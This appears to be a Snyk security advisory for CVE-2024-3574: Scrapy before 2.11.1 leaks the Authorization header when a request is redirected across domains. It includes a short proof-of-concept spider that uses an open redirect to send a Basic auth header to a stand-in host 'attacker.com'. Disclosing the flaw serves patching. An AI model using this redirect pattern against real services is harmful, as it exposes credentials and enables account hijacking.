Information Exposure Through Sent Data Affecting scrapy package, versions [,2.11.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-SCRAPY-6615706
  • published16 Apr 2024
  • disclosed16 Apr 2024
  • creditranjit-git

Introduced: 16 Apr 2024

CVE-2024-3574  (opens in a new tab)
CWE-200  (opens in a new tab)

How to fix?

Upgrade Scrapy to version 2.11.1 or higher.

Overview

Scrapy is a high-level web crawling and web scraping framework, used to crawl websites and extract structured data from their pages.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data due to the failure to remove the Authorization header when redirecting across domains. An attacker can potentially allow for account hijacking by exploiting the exposure of the Authorization header to unauthorized actors.

PoC


class QuotesSpider(scrapy.Spider):
    name = "quotes"
    

    def start_requests(self):
        urls = [
                'http://mysite.com/redirect.php?url=http://attacker.com:8182/xx',
        ]
        for url in urls:
            yield scrapy.Request(url=url,cookies={'currency': 'USD', 'country': 'UY'},headers={'Authorization':'Basic YWxhZGRpbjpvcGVuc2VzYW1l'},callback=self.parse)

    def parse(self, response):
        page = response.url.split("/")[-2]
        filename = f'quotes-{page}.html'
        with open(filename, 'wb') as f:
            f.write(response.body)
        self.log(f'Saved file {filename}')

CVSS Scores

version 3.1